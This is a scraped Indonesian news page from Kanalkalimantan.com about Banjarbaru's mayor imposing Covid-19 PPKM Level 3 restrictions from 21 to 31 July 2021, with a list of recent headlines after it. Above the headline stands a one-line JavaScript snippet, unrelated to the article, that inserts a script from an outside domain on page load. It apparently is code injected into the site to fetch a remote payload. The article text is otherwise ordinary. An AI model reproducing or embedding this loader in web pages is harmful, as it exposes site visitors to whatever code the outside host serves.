(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banjarbaru Masuk Zona Hitam Covid-19, Wali Kota Aditya Berlakukan PPKM Level 3


KANALKALIMANTAN.COM, BANJARBARU – Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 3, dimulai tanggal 21 Juli hingga 31 Juli 2021 mendatang.

Pernyataan ini disampaikan langsung oleh Wali Kota Banjarbaru, Aditya Mufti Ariffin saat memimpin rapat tindak lanjut PPKM di Kota Banjarbaru bersama SKPD terkait dan Forkopimda, di Aula Gawi Sabarataan, Rabu (21/7/2021).

Wali Kota Banjarbaru menyampaikan, keputusan tersebut diambil Pemerintah Kota Banjarbaru lantaran saat ini Kota Banjarbaru sudah memasuki level 3 atau berada dalam Zona Hitam.

“Informasi ini kami terima langsung dari Presiden Joko Widodo, Senin 19 Juli 2021 tepatnya jam 16.00 (WITA) pada saat melakukan rapat melalui Google Meet,” terang aditya.

 

 

Baca juga: UPDATE. Sebanyak 1.383 Pasien Covid-19 Meninggal, Rekor Tertinggi Angka Kematian Harian

Ia melanjutkan, dilaksanakannya PPKM ini juga dikarenakan faktor dari tingginya angka penularan Covid-19 di Kota Banjarbaru. Diketahui dari setiap harinya, pasien yang datang dan dirawat di Rumah Sakit Daerah (RSD) Idaman Banjarbaru bisa mencapai 15 sampai 20 orang. Sedangkan yang meninggal karena Covid-19 ada sebanyak 3 sampai 4 orang setiap harinya.

“Ini adalah beberapa faktor yang menyebabkan kota Banjarbaru memasuki Zona Hitam,” bebernya.


Sebelumnya, Aditya mengatakan, berdasarkan barometer dan indikator yang ada, apabila ada kenaikan sekitar 20-30 persen lagi Kota Banjarbaru akan berada di level 4 penyebaran Covid-19.

Baca juga: Ruang Isolasi Covid di RSD Idaman Penuh, 5 Pasien Masih di IGD, 1 Pasien WNA China

“Agar tidak sampai kita berada level 4 penyebaran Covid-19, seluruh masyarakat bersama-sama untuk menjalankan protokol kesehatan 5M secara ketat,” ingatnya.

“Di beberapa daerah ada pemberlakuan PPKM darurat, karena sudah masuk level 4, daerah harus memberlakuan PPKM darurat,” sambungnya.

Wali Kota Banjarbaru menerangkan, ada beberapa rincian peraturan saat melakukan PPKM di level 3, yakni diantaranya proses belajar mengajar akan dilakukan secara daring (online) 100 persen, para pekerja industri diberlakukan shift maksimal 50 persen.

“Untuk rumah makan dan minum seperti kafe boleh buka, namun hanya bisa pesan antar saja, dan untuk warung-warung lapak jalan atau Pedagang Kaki Lima (PKL) diizinkan buka dengan menggunakan protokol kesehatan yang lebih ketat, yang akan diatur lebih lanjut oleh Perda,” jelas Wali Kota Banjarbaru. (Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

5 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

6 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

7 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

7 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

8 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

13 jam ago

This website uses cookies.